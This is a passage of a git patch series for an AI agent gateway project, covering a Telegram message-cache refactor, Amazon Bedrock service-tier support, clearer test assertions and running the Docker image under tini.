) - .map((entry) => { - const includeForwarded = - entry.forwardedFrom && - shouldIncludeGroupSupplementalContext({ - kind: "forwarded", - senderId: entry.forwardedFromId, - senderUsername: entry.forwardedFromUsername, - }); - if (includeForwarded) { - return entry; - } - const { - forwardedFrom: _forwardedFrom, - forwardedFromId: _forwardedFromId, - forwardedFromUsername: _forwardedFromUsername, - forwardedDate: _forwardedDate, - ...withoutForwarded - } = entry; - return withoutForwarded; - }); + senderId: visibleEntry.senderId, + senderUsername: visibleEntry.senderUsername, + }) + ) { + return []; + } + const includeForwarded = + visibleEntry.forwardedFrom && + shouldIncludeGroupSupplementalContext({ + kind: "forwarded", + senderId: visibleEntry.forwardedFromId, + senderUsername: visibleEntry.forwardedFromUsername, + }); + return [includeForwarded ? visibleEntry : stripReplyChainForwarded(visibleEntry)]; + }); const visibleForwardOrigin = includeForwardOrigin ? forwardOrigin : null; - const formatReplyChainEntry = (entry: TelegramReplyChainEntry, index: number) => { - const labels = [ - `${index + 1}. ${entry.sender ?? "unknown sender"}`, - entry.messageId ? `id:${entry.messageId}` : undefined, - entry.replyToId ? `reply_to:${entry.replyToId}` : undefined, - entry.timestamp ? new Date(entry.timestamp).toISOString() : undefined, - ].filter(Boolean); - const bodyLines = [ - entry.forwardedFrom - ? `[Forwarded from ${entry.forwardedFrom}${ - entry.forwardedDate ? ` at ${new Date(entry.forwardedDate).toISOString()}` : "" - }]` - : undefined, - entry.isQuote && entry.body ? `"${entry.body}"` : entry.body, - entry.mediaType ? `` : undefined, - entry.mediaPath ? `[media_path:${entry.mediaPath}]` : undefined, - entry.mediaRef ? `[media_ref:${entry.mediaRef}]` : undefined, - ].filter(Boolean); - return `[${labels.join(" ")}]\n${bodyLines.join("\n")}`; - }; const replySuffix = visibleReplyChain.length > 0 ? `\n\n[Reply chain - nearest first]\n${visibleReplyChain diff --git a/extensions/telegram/src/message-cache.ts b/extensions/telegram/src/message-cache.ts index 9d0d98e3a92..624d89050e7 100644 --- a/extensions/telegram/src/message-cache.ts +++ b/extensions/telegram/src/message-cache.ts @@ -33,9 +33,6 @@ export type TelegramMessageCache = { }; type MessageWithExternalReply = Message & { external_reply?: Message }; -type PersistedTelegramMessageNode = TelegramReplyChainEntry & { - sourceMessage: Message; -}; type TelegramMessageCacheBucket = { messages: Map; @@ -116,85 +113,29 @@ function isString(value: unknown): value is string { return typeof value === "string" && value.length > 0; } -function isNumber(value: unknown): value is number { - return typeof value === "number" && Number.isFinite(value); -} - function readOptionalString(record: Record, key: string): string | undefined { const value = record[key]; return isString(value) ? value : undefined; } -function readOptionalNumber(record: Record, key: string): number | undefined { - const value = record[key]; - return isNumber(value) ? value : undefined; -} - function isTelegramSourceMessage(value: unknown): value is Message { - if (!isRecord(value) || !isNumber(value.message_id) || !isNumber(value.date)) { - return false; - } - const chat = value.chat; - if (!isRecord(chat) || !isNumber(chat.id)) { - return false; - } - if (chat.type === "private") { - return isString(chat.first_name); - } return ( - (chat.type === "group" || chat.type === "supergroup" || chat.type === "channel") && - isString(chat.title) + isRecord(value) && + typeof value.message_id === "number" && + Number.isFinite(value.message_id) && + typeof value.date === "number" && + Number.isFinite(value.date) ); } -function parseSourceMessage(value: unknown): Message | null { - return isTelegramSourceMessage(value) ? value : null; -} - function parsePersistedNode(value: unknown): TelegramCachedMessageNode | null { - if (!isRecord(value) || !isString(value.messageId)) { + if (!isRecord(value) || !isTelegramSourceMessage(value.sourceMessage)) { return null; } - const sourceMessage = parseSourceMessage(value.sourceMessage); - if (!sourceMessage) { - return null; - } - const node: TelegramCachedMessageNode = { - sourceMessage, - messageId: value.messageId, - }; - const stringKeys = [ - "threadId", - "sender", - "senderId", - "senderUsername", - "body", - "mediaType", - "mediaPath", - "mediaRef", - "replyToId", - "forwardedFrom", - "forwardedFromId", - "forwardedFromUsername", - ] as const satisfies readonly (keyof TelegramCachedMessageNode)[]; - for (const key of stringKeys) { - const field = readOptionalString(value, key); - if (field) { - node[key] = field; - } - } - if (value.isQuote === true) { - node.isQuote = true; - } - const timestamp = readOptionalNumber(value, "timestamp"); - if (timestamp !== undefined) { - node.timestamp = timestamp; - } - const forwardedDate = readOptionalNumber(value, "forwardedDate"); - if (forwardedDate !== undefined) { - node.forwardedDate = forwardedDate; - } - return node; + const threadId = Number(readOptionalString(value, "threadId")); + return normalizeMessageNode(value.sourceMessage, { + ...(Number.isFinite(threadId) ? { threadId } : {}), + }); } function readPersistedMessages(filePath: string, maxMessages: number) { @@ -237,9 +178,9 @@ function persistMessages(params: { const serialized = Array.from(messages, ([key, node]) => ({ key, node: { - ...node, sourceMessage: node.sourceMessage, - } satisfies PersistedTelegramMessageNode, + ...(node.threadId ? { threadId: node.threadId } : {}), + }, })); replaceFileAtomicSync({ filePath: persistedPath, From a3e48fd259effd6915f1ce2d752a064d3df469ec Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:39:50 +0100 Subject: [PATCH 105/174] test: clarify qa coverage inventory assertions --- extensions/qa-lab/src/coverage-report.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/qa-lab/src/coverage-report.test.ts b/extensions/qa-lab/src/coverage-report.test.ts index 2ced93d062c..1493ded3702 100644 --- a/extensions/qa-lab/src/coverage-report.test.ts +++ b/extensions/qa-lab/src/coverage-report.test.ts @@ -12,8 +12,8 @@ describe("qa coverage report", () => { expect(inventory.secondaryCoverageIdCount).toBeGreaterThan(0); expect(inventory.overlappingCoverage.length).toBeGreaterThan(0); expect(inventory.missingCoverage).toEqual([]); - expect(inventory.byTheme.memory.some((feature) => feature.id === "memory.recall")).toBe(true); - expect(inventory.bySurface.memory.some((feature) => feature.id === "memory.recall")).toBe(true); + expect(inventory.byTheme.memory.map((feature) => feature.id)).toContain("memory.recall"); + expect(inventory.bySurface.memory.map((feature) => feature.id)).toContain("memory.recall"); }); it("renders a compact markdown inventory", () => { From 0ef1f36286e1397d38439cd386d950a334ec0052 Mon Sep 17 00:00:00 2001 From: Rob Riggs Date: Sat, 25 Apr 2026 19:39:58 -0700 Subject: [PATCH 106/174] feat(bedrock): add service_tier parameter support - Add resolveBedrockServiceTier() and createBedrockServiceTierWrapper() to bedrock-stream-wrappers.ts - Export service tier functions from provider-stream-shared.ts SDK barrel - Wire service tier into Bedrock provider wrapStreamFn - Accepts serviceTier or service_tier via agents.defaults.params Valid values: default, flex, priority, reserved Authored by Deepseek-v4-Pro, reviewed by rob@mobilinkd.com. --- CHANGELOG.md | 1 + docs/providers/bedrock.md | 43 +++++++++ extensions/amazon-bedrock/index.test.ts | 95 +++++++++++++++++-- .../amazon-bedrock/register.sync.runtime.ts | 54 ++++++++++- 4 files changed, 179 insertions(+), 14 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 460dd2ad7f8..0b257f2fbe8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ Docs: https://docs.openclaw.ai ### Changes - Google/Gemini: normalize retired `google/gemini-3-pro-preview` and `google-gemini-cli/gemini-3-pro-preview` selections to `google/gemini-3.1-pro-preview` before they are written to model config. +- Amazon Bedrock: support `serviceTier` parameter for Bedrock models, configurable via `agents.defaults.params.serviceTier` or per-model in `agents.defaults.models`. Valid values: `default`, `flex`, `priority`, `reserved`. (#64512) Thanks @mobilinkd. - Control UI: read the Quick Settings exec policy badge from `tools.exec.security` instead of the non-schema `agents.defaults.exec.security` path, so configured `full`/`deny` values render accurately. Fixes #78311. Thanks @FriedBack. - Control UI/usage: add transcript-backed historical lineage rollups for rotated logical sessions, with current-instance vs historical-lineage scope controls and long-range presets so usage history stays visible after restarts and updates. Fixes #50701. Thanks @dev-gideon-llc and @BunsDev. - Agents/failover: harden state-aware lane suspension by persisting quota resume transitions, restoring configured lane concurrency, preserving non-quota failure reasons, and exporting model failover events through diagnostics OTLP. Thanks @BunsDev. diff --git a/docs/providers/bedrock.md b/docs/providers/bedrock.md index 7f2f6b8f0cc..6257e0c05fd 100644 --- a/docs/providers/bedrock.md +++ b/docs/providers/bedrock.md @@ -256,6 +256,49 @@ openclaw models list + + Some Bedrock models support a `service_tier` parameter to optimize for cost + or latency. The following tiers are available: + + | Tier | Description | + |------|-------------| + | `default` | Standard Bedrock tier | + | `flex` | Discounted processing for workloads that can tolerate longer latency | + | `priority` | Prioritized processing for latency-sensitive workloads | + | `reserved` | Reserved capacity for steady-state workloads | + + Set `serviceTier` (or `service_tier`) via `agents.defaults.params` for + Bedrock model requests, or per-model in + `agents.defaults.models[""].params`: + + ```json5 + { + agents: { + defaults: { + params: { + serviceTier: "flex", // applies to all models + }, + models: { + "amazon-bedrock/mistral.mistral-large-3-675b-instruct": { + params: { + serviceTier: "priority", // per-model override + }, + }, + }, + }, + }, + } + ``` + + Valid values are `default`, `flex`, `priority`, and `reserved`. Not all + models support all tiers — if an unsupported tier is requested, Bedrock will + return a validation error. Note: the error message is somewhat misleading; + it may say "The provided model identifier is invalid" rather than indicating + an unsupported service tier. If you see this error, check whether the model + supports the requested tier. + + + Bedrock rejects the `temperature` parameter for Claude Opus 4.7. OpenClaw omits `temperature` automatically for any Opus 4.7 Bedrock ref, including diff --git a/extensions/amazon-bedrock/index.test.ts b/extensions/amazon-bedrock/index.test.ts index 4e8666bbb54..240b78a09b9 100644 --- a/extensions/amazon-bedrock/index.test.ts +++ b/extensions/amazon-bedrock/index.test.ts @@ -160,34 +160,28 @@ function makeAppInferenceProfileDescriptor(modelId: string): never { } as never; } -/** - * Call wrapStreamFn and then invoke the returned stream function, capturing - * the payload via the onPayload hook that streamWithPayloadPatch installs. - */ async function callWrappedStream( provider: RegisteredProviderPlugin, modelId: string, modelDescriptor: never, config?: OpenClawConfig, + extraParams?: Record, + payload: Record = {}, ): Promise> { const wrapped = provider.wrapStreamFn?.({ provider: "amazon-bedrock", modelId, config, streamFn: spyStreamFn, + ...(extraParams ? { extraParams } : {}), } as never); - // The wrapped stream returns the options object (from spyStreamFn). - // For guardrail-wrapped streams, streamWithPayloadPatch intercepts onPayload, - // so we need to invoke onPayload on the returned options to trigger the patch. const result = wrapped?.(modelDescriptor, { messages: [] } as never, {}) as unknown as Record< string, unknown >; - // If onPayload was installed by streamWithPayloadPatch, call it to apply the patch. if (typeof result?.onPayload === "function") { - const payload: Record = {}; await (result.onPayload as (p: Record, model: unknown) => Promise)( payload, modelDescriptor, @@ -719,6 +713,89 @@ describe("amazon-bedrock provider plugin", () => { }); }); + describe("service tier", () => { + const CONVERSE_MODEL_DESCRIPTOR = { + api: "bedrock-converse-stream", + provider: "amazon-bedrock", + id: NON_ANTHROPIC_MODEL, + } as never; + + it("injects serviceTier for valid camelCase value ('flex')", async () => { + const provider = await registerWithConfig(undefined); + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + CONVERSE_MODEL_DESCRIPTOR, + runtimePluginConfig(undefined), + { serviceTier: "flex" }, + ); + expect(result._capturedPayload).toMatchObject({ serviceTier: { type: "flex" } }); + }); + + it("injects serviceTier for valid snake_case value ('priority')", async () => { + const provider = await registerWithConfig(undefined); + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + CONVERSE_MODEL_DESCRIPTOR, + runtimePluginConfig(undefined), + { service_tier: "priority" }, + ); + expect(result._capturedPayload).toMatchObject({ serviceTier: { type: "priority" } }); + }); + + it("injects serviceTier for all valid tier names", async () => { + const provider = await registerWithConfig(undefined); + for (const tier of ["flex", "priority", "default", "reserved"] as const) { + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + CONVERSE_MODEL_DESCRIPTOR, + runtimePluginConfig(undefined), + { serviceTier: tier }, + ); + expect(result._capturedPayload).toMatchObject({ serviceTier: { type: tier } }); + } + }); + + it("does not inject serviceTier when value is invalid", async () => { + const provider = await registerWithConfig(undefined); + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + CONVERSE_MODEL_DESCRIPTOR, + runtimePluginConfig(undefined), + { serviceTier: "not-a-tier" }, + ); + expect(result).not.toHaveProperty("_capturedPayload"); + }); + + it("does not overwrite caller-provided serviceTier in payload", async () => { + const provider = await registerWithConfig(undefined); + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + CONVERSE_MODEL_DESCRIPTOR, + runtimePluginConfig(undefined), + { serviceTier: "flex" }, + { serviceTier: { type: "priority" } }, + ); + expect(result._capturedPayload).toMatchObject({ serviceTier: { type: "priority" } }); + }); + + it("skips injection for non-converse API models", async () => { + const provider = await registerWithConfig(undefined); + const result = await callWrappedStream( + provider, + NON_ANTHROPIC_MODEL, + { api: "openai-completions", provider: "amazon-bedrock", id: NON_ANTHROPIC_MODEL } as never, + runtimePluginConfig(undefined), + { serviceTier: "flex" }, + ); + expect(result).not.toHaveProperty("_capturedPayload"); + }); + }); + describe("application inference profile cache point injection", () => { /** * Invoke wrapStreamFn with a payload containing system/messages, then diff --git a/extensions/amazon-bedrock/register.sync.runtime.ts b/extensions/amazon-bedrock/register.sync.runtime.ts index abef50b3578..01740101e44 100644 --- a/extensions/amazon-bedrock/register.sync.runtime.ts +++ b/extensions/amazon-bedrock/register.sync.runtime.ts @@ -34,6 +34,43 @@ type AmazonBedrockPluginConfig = { guardrail?: GuardrailConfig; }; +const BEDROCK_SERVICE_TIER_VALUES = ["flex", "priority", "default", "reserved"] as const; +type BedrockServiceTier = (typeof BEDROCK_SERVICE_TIER_VALUES)[number]; + +function isBedrockServiceTier(value: string): value is BedrockServiceTier { + return BEDROCK_SERVICE_TIER_VALUES.some((tier) => tier === value); +} + +function resolveBedrockServiceTier( + extraParams: Record | undefined, + warn: (message: string) => void, +): BedrockServiceTier | undefined { + const raw = extraParams?.serviceTier ?? extraParams?.service_tier; + if (typeof raw !== "string") { + return undefined; + } + const normalized = raw.trim().toLowerCase(); + if (isBedrockServiceTier(normalized)) { + return normalized; + } + warn(`ignoring invalid Bedrock service_tier param: ${raw}`); + return undefined; +} + +function createBedrockServiceTierWrapper( + underlying: StreamFn, + serviceTier: BedrockServiceTier, +): StreamFn { + return (model, context, options) => { + if (model.api !== "bedrock-converse-stream") { + return underlying(model, context, options); + } + return streamWithPayloadPatch(underlying, model, context, options, (payloadObj) => { + payloadObj.serviceTier ??= { type: serviceTier }; + }); + }; +} + function createGuardrailWrapStreamFn( innerWrapStreamFn: (ctx: { modelId: string; streamFn?: StreamFn }) => StreamFn | null | undefined, guardrailConfig: GuardrailConfig, @@ -484,13 +521,20 @@ export function registerAmazonBedrockPlugin(api: OpenClawPluginApi): void { }, resolveConfigApiKey: ({ env }) => resolveBedrockConfigApiKey(env), ...anthropicByModelReplayHooks, - wrapStreamFn: ({ modelId, config, model, streamFn, thinkingLevel }) => { + wrapStreamFn: ({ modelId, config, model, streamFn, thinkingLevel, extraParams }) => { const currentGuardrail = resolveCurrentPluginConfig(config)?.guardrail; - // Apply cache + guardrail wrapping. - const wrapped = - currentGuardrail?.guardrailIdentifier && currentGuardrail?.guardrailVersion + let wrapped = + (currentGuardrail?.guardrailIdentifier && currentGuardrail?.guardrailVersion ? createGuardrailWrapStreamFn(baseWrapStreamFn, currentGuardrail)({ modelId, streamFn }) - : baseWrapStreamFn({ modelId, streamFn }); + : baseWrapStreamFn({ modelId, streamFn })) ?? undefined; + + const serviceTier = resolveBedrockServiceTier(extraParams, (message) => + api.logger.warn(message), + ); + if (serviceTier && wrapped) { + wrapped = createBedrockServiceTierWrapper(wrapped, serviceTier); + } + const region = resolveBedrockRegion(config) ?? extractRegionFromBaseUrl(model?.baseUrl); const mayNeedCacheInjection = isBedrockAppInferenceProfile(modelId) && !piAiWouldInjectCachePoints(modelId); From b55dfd53b40488802e24a444fc8b245e1a5b0355 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:43:38 +0100 Subject: [PATCH 107/174] test: clarify browser doctor warning assertions --- extensions/browser/src/browser/doctor.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/extensions/browser/src/browser/doctor.test.ts b/extensions/browser/src/browser/doctor.test.ts index b82e0542118..791804de327 100644 --- a/extensions/browser/src/browser/doctor.test.ts +++ b/extensions/browser/src/browser/doctor.test.ts @@ -101,7 +101,9 @@ describe("buildBrowserDoctorReport", () => { }); expect(report.ok).toBe(true); - expect(report.checks.some((check) => check.status === "warn")).toBe(true); + expect( + report.checks.filter((check) => check.status === "warn").map((check) => check.id), + ).toEqual(["managed-executable", "display", "linux-sandbox"]); expect(report.checks.find((check) => check.id === "display")).toMatchObject({ summary: "No DISPLAY or WAYLAND_DISPLAY is set while headed mode is selected (config)", }); From 2e816710edac02d5ec28ae920d20df6d9c88a342 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:43:40 +0100 Subject: [PATCH 108/174] fix: remove telegram cache redundant spread --- extensions/telegram/src/message-cache.ts | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/extensions/telegram/src/message-cache.ts b/extensions/telegram/src/message-cache.ts index 624d89050e7..c71eb042337 100644 --- a/extensions/telegram/src/message-cache.ts +++ b/extensions/telegram/src/message-cache.ts @@ -133,9 +133,7 @@ function parsePersistedNode(value: unknown): TelegramCachedMessageNode | null { return null; } const threadId = Number(readOptionalString(value, "threadId")); - return normalizeMessageNode(value.sourceMessage, { - ...(Number.isFinite(threadId) ? { threadId } : {}), - }); + return normalizeMessageNode(value.sourceMessage, Number.isFinite(threadId) ? { threadId } : {}); } function readPersistedMessages(filePath: string, maxMessages: number) { From 279aa7f7b8f6338abc18b33a9527a7fedf936f80 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:44:42 +0100 Subject: [PATCH 109/174] test: remove redundant web boundary assertion --- test/web-provider-boundary.test.ts | 4 ---- 1 file changed, 4 deletions(-) diff --git a/test/web-provider-boundary.test.ts b/test/web-provider-boundary.test.ts index 6133b12bcfb..0be2870f288 100644 --- a/test/web-provider-boundary.test.ts +++ b/test/web-provider-boundary.test.ts @@ -1,4 +1,3 @@ -import { BUNDLED_PLUGIN_PATH_PREFIX } from "openclaw/plugin-sdk/test-fixtures"; import { describe, expect, it } from "vitest"; import { collectWebFetchProviderBoundaryViolations, @@ -43,9 +42,6 @@ describe("web provider boundaries", () => { const jsonOutput = await webSearchJsonOutputPromise; expect(inventory).toEqual([]); - expect(inventory.some((entry) => entry.file.startsWith(BUNDLED_PLUGIN_PATH_PREFIX))).toBe( - false, - ); expect( [...inventory].toSorted( (left, right) => From f64915c564bae044c06cecbe9484a771ce81df09 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:46:22 +0100 Subject: [PATCH 110/174] test: clarify feishu mention merge assertions --- extensions/feishu/src/monitor.reaction.test.ts | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/extensions/feishu/src/monitor.reaction.test.ts b/extensions/feishu/src/monitor.reaction.test.ts index 23815ad9726..381eef9f402 100644 --- a/extensions/feishu/src/monitor.reaction.test.ts +++ b/extensions/feishu/src/monitor.reaction.test.ts @@ -237,6 +237,12 @@ function createMention(params: { openId: string; name: string; key?: string }): }; } +function mentionOpenIds(event: FeishuMessageEvent): string[] { + return (event.message.mentions ?? []).flatMap((mention) => + mention.id.open_id ? [mention.id.open_id] : [], + ); +} + function createFeishuMonitorRuntime(params?: { createInboundDebouncer?: PluginRuntime["channel"]["debounce"]["createInboundDebouncer"]; resolveInboundDebounceMs?: PluginRuntime["channel"]["debounce"]["resolveInboundDebounceMs"]; @@ -541,9 +547,9 @@ describe("Feishu inbound debounce regressions", () => { await vi.advanceTimersByTimeAsync(25); const dispatched = expectSingleDispatchedEvent(); - const mergedMentions = dispatched.message.mentions ?? []; - expect(mergedMentions.some((mention) => mention.id.open_id === "ou_bot")).toBe(true); - expect(mergedMentions.some((mention) => mention.id.open_id === "ou_user_a")).toBe(false); + const mergedOpenIds = mentionOpenIds(dispatched); + expect(mergedOpenIds).toContain("ou_bot"); + expect(mergedOpenIds).not.toContain("ou_user_a"); }); it("passes prefetched botName through to handleFeishuMessage", async () => { @@ -601,8 +607,7 @@ describe("Feishu inbound debounce regressions", () => { const { dispatched, parsed } = expectParsedFirstDispatchedEvent(); expect(parsed.mentionedBot).toBe(true); expect(parsed.mentionTargets).toBeUndefined(); - const mergedMentions = dispatched.message.mentions ?? []; - expect(mergedMentions.every((mention) => mention.id.open_id === "ou_bot")).toBe(true); + expect(mentionOpenIds(dispatched)).toEqual(["ou_bot"]); }); it("preserves bot mention signal when the latest merged message has no mentions", async () => { From 6a2c67d314b9b9721fdbfa5ca9f0b0ef881a9dbd Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:47:30 +0100 Subject: [PATCH 111/174] test: clarify proxy capture assertions --- src/proxy-capture/coverage.test.ts | 5 +++-- src/proxy-capture/runtime.test.ts | 5 ++--- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/proxy-capture/coverage.test.ts b/src/proxy-capture/coverage.test.ts index 9e047ab21e6..c46ab5329d2 100644 --- a/src/proxy-capture/coverage.test.ts +++ b/src/proxy-capture/coverage.test.ts @@ -8,7 +8,8 @@ describe("debug proxy coverage report", () => { expect(report.summary.total).toBe(report.entries.length); expect(report.summary.captured).toBeGreaterThan(0); expect(report.summary.proxyOnly).toBeGreaterThan(0); - expect(report.entries.some((entry) => entry.id === "provider-transport-fetch")).toBe(true); - expect(report.entries.some((entry) => entry.id === "feishu-client-http")).toBe(true); + expect(report.entries.map((entry) => entry.id)).toEqual( + expect.arrayContaining(["provider-transport-fetch", "feishu-client-http"]), + ); }); }); diff --git a/src/proxy-capture/runtime.test.ts b/src/proxy-capture/runtime.test.ts index d56d599caab..d6c22a962f6 100644 --- a/src/proxy-capture/runtime.test.ts +++ b/src/proxy-capture/runtime.test.ts @@ -73,9 +73,8 @@ describe("debug proxy runtime", () => { finalizeDebugProxyCapture(settings, deps); const sessionEvents = events.filter((event) => event.sessionId === "runtime-test-session"); - expect(sessionEvents.some((event) => event.host === "api.minimax.io")).toBe(true); - expect(sessionEvents.some((event) => event.kind === "request")).toBe(true); - expect(sessionEvents.some((event) => event.kind === "response")).toBe(true); + expect(sessionEvents.map((event) => event.host)).toContain("api.minimax.io"); + expect(sessionEvents.map((event) => event.kind)).toEqual(["request", "response"]); }); it("normalizes symbol-bearing request headers before calling patched fetch targets", async () => { From fb66a101e272624423c99951dee60c63cd07b121 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:49:19 +0100 Subject: [PATCH 112/174] test: clarify config validation path assertions --- src/config/config.gateway-tailscale-bind.test.ts | 4 ++-- src/config/config.hooks-module-paths.test.ts | 2 +- src/config/config.multi-agent-agentdir-validation.test.ts | 2 +- src/config/config.tools-alsoAllow.test.ts | 4 ++-- src/config/logging-max-file-bytes.test.ts | 2 +- 5 files changed, 7 insertions(+), 7 deletions(-) diff --git a/src/config/config.gateway-tailscale-bind.test.ts b/src/config/config.gateway-tailscale-bind.test.ts index 20eedea34c5..bffe4e996ea 100644 --- a/src/config/config.gateway-tailscale-bind.test.ts +++ b/src/config/config.gateway-tailscale-bind.test.ts @@ -41,7 +41,7 @@ describe("gateway tailscale bind validation", () => { }); expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((issue) => issue.path === "gateway.bind")).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain("gateway.bind"); } }); @@ -73,7 +73,7 @@ describe("gateway tailscale bind validation", () => { }); expect(customRes.ok).toBe(false); if (!customRes.ok) { - expect(customRes.issues.some((issue) => issue.path === "gateway.bind")).toBe(true); + expect(customRes.issues.map((issue) => issue.path)).toContain("gateway.bind"); } }); }); diff --git a/src/config/config.hooks-module-paths.test.ts b/src/config/config.hooks-module-paths.test.ts index 0bd93f43761..4d1411fd67b 100644 --- a/src/config/config.hooks-module-paths.test.ts +++ b/src/config/config.hooks-module-paths.test.ts @@ -8,7 +8,7 @@ describe("config hooks module paths", () => { if (res.ok) { throw new Error("expected validation failure"); } - expect(res.issues.some((iss) => iss.path === expectedPath)).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain(expectedPath); }; it("rejects absolute hooks.mappings[].transform.module", () => { diff --git a/src/config/config.multi-agent-agentdir-validation.test.ts b/src/config/config.multi-agent-agentdir-validation.test.ts index d21af7317fe..5c721b20504 100644 --- a/src/config/config.multi-agent-agentdir-validation.test.ts +++ b/src/config/config.multi-agent-agentdir-validation.test.ts @@ -18,7 +18,7 @@ describe("multi-agent agentDir validation", () => { }); expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((i) => i.path === "agents.list")).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain("agents.list"); expect(res.issues[0]?.message).toContain("Duplicate agentDir"); } }); diff --git a/src/config/config.tools-alsoAllow.test.ts b/src/config/config.tools-alsoAllow.test.ts index ac800b060c3..3dc72efbef6 100644 --- a/src/config/config.tools-alsoAllow.test.ts +++ b/src/config/config.tools-alsoAllow.test.ts @@ -14,7 +14,7 @@ describe("config: tools.alsoAllow", () => { expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((i) => i.path === "tools")).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain("tools"); } }); @@ -35,7 +35,7 @@ describe("config: tools.alsoAllow", () => { expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((i) => i.path.includes("agents.list"))).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain("agents.list.0.tools"); } }); diff --git a/src/config/logging-max-file-bytes.test.ts b/src/config/logging-max-file-bytes.test.ts index cb297977a43..29bd65256f3 100644 --- a/src/config/logging-max-file-bytes.test.ts +++ b/src/config/logging-max-file-bytes.test.ts @@ -19,7 +19,7 @@ describe("logging.maxFileBytes config", () => { }); expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((issue) => issue.path === "logging.maxFileBytes")).toBe(true); + expect(res.issues.map((issue) => issue.path)).toContain("logging.maxFileBytes"); } }); }); From e63e4f9551e97e4d9b93c11f228d740316606f97 Mon Sep 17 00:00:00 2001 From: Ayu Date: Fri, 8 May 2026 13:19:55 +0530 Subject: [PATCH 113/174] fix(docker): run runtime image under tini (#78777) Run the Docker runtime image under tini so long-lived containers reap orphaned child processes and forward signals correctly. Thanks @VintageAyu! --- CHANGELOG.md | 1 + Dockerfile | 3 ++- docs/install/docker.md | 3 +-- docs/install/fly.md | 2 ++ src/dockerfile.test.ts | 7 +++++-- 5 files changed, 11 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0b257f2fbe8..ff1f1cdcd67 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ Docs: https://docs.openclaw.ai ### Changes +- Docker: run the runtime image under `tini` so long-lived containers reap orphaned child processes and forward signals correctly. (#77885) Thanks @VintageAyu. - Google/Gemini: normalize retired `google/gemini-3-pro-preview` and `google-gemini-cli/gemini-3-pro-preview` selections to `google/gemini-3.1-pro-preview` before they are written to model config. - Amazon Bedrock: support `serviceTier` parameter for Bedrock models, configurable via `agents.defaults.params.serviceTier` or per-model in `agents.defaults.models`. Valid values: `default`, `flex`, `priority`, `reserved`. (#64512) Thanks @mobilinkd. - Control UI: read the Quick Settings exec policy badge from `tools.exec.security` instead of the non-schema `agents.defaults.exec.security` path, so configured `full`/`deny` values render accurately. Fixes #78311. Thanks @FriedBack. diff --git a/Dockerfile b/Dockerfile index 3e9213bb882..cc411a8a2f2 100644 --- a/Dockerfile +++ b/Dockerfile @@ -160,7 +160,7 @@ RUN --mount=type=cache,id=openclaw-bookworm-apt-cache,target=/var/cache/apt,shar --mount=type=cache,id=openclaw-bookworm-apt-lists,target=/var/lib/apt,sharing=locked \ apt-get update && \ DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \ - ca-certificates procps hostname curl git lsof openssl python3 && \ + ca-certificates procps hostname curl git lsof openssl python3 tini && \ update-ca-certificates RUN chown node:node /app @@ -287,4 +287,5 @@ USER node # For external access from host/ingress, override bind to "lan" and set auth. HEALTHCHECK --interval=3m --timeout=10s --start-period=15s --retries=3 \ CMD node -e "fetch('http://127.0.0.1:18789/healthz').then((r)=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))" +ENTRYPOINT ["tini", "-s", "--"] CMD ["node", "openclaw.mjs", "gateway", "--allow-unconfigured"] diff --git a/docs/install/docker.md b/docs/install/docker.md index 6862f845565..0bd131ad5d8 100644 --- a/docs/install/docker.md +++ b/docs/install/docker.md @@ -427,8 +427,7 @@ See [ClawDock](/install/clawdock) for the full helper guide. - The main Docker runtime image uses `node:24-bookworm-slim` and publishes OCI - base-image annotations including `org.opencontainers.image.base.name`, + The main Docker runtime image uses `node:24-bookworm-slim` and includes `tini` as the entrypoint init process (PID 1) to ensure zombie processes are reaped and signals are handled correctly in long-running containers. It publishes OCI base-image annotations including `org.opencontainers.image.base.name`, `org.opencontainers.image.source`, and others. The Node base digest is refreshed through Dependabot Docker base-image PRs; release builds do not run a distro upgrade layer. See diff --git a/docs/install/fly.md b/docs/install/fly.md index 4dfa083d74d..b88e810a785 100644 --- a/docs/install/fly.md +++ b/docs/install/fly.md @@ -78,6 +78,8 @@ read_when: destination = "/data" ``` + The OpenClaw Docker image uses `tini` as its entrypoint. Fly process commands replace Docker `CMD` without replacing `ENTRYPOINT`, so the process still runs under `tini`. + **Key settings:** | Setting | Why | diff --git a/src/dockerfile.test.ts b/src/dockerfile.test.ts index ef7e2d35f88..2ef7dfa5a5a 100644 --- a/src/dockerfile.test.ts +++ b/src/dockerfile.test.ts @@ -47,7 +47,7 @@ 